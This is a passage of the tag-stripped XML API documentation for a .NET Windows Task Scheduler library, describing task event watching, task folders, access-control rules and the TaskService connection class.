instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user as a secure string. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include all subfolders. + + An enumerable collection of folders that matches . + If a filter is supplied and filters out a folder, none of its subfolders will be processed, regardless of them + matching the filter. + + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + Enumerates the tasks in the specified folder and its child folders. + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Provides information and control for a collection of folders that contain tasks. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of items in the collection. + + + Gets a value indicating whether the is read-only. + + + Gets the specified folder from the collection. + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Gets the specified folder from the collection. + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Adds an item to the . + The object to add to the . + + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have + zero-based indexing. + + The zero-based index in array at which copying begins. + + + Releases all resources used by this class. + + + Determines whether the specified folder exists. + The path of the folder. + true if folder exists; otherwise, false. + + + Gets a list of items in a collection. + Enumerated list of items in the collection. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer as a SecureString. If the user name and securePassword are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets the user password in plain text from either userPassword or userSecurePassword. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + TaskService.Instance.FindAllTasks(t => t.Triggers.ContainsType(typeof(LogonTrigger)), true); + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub 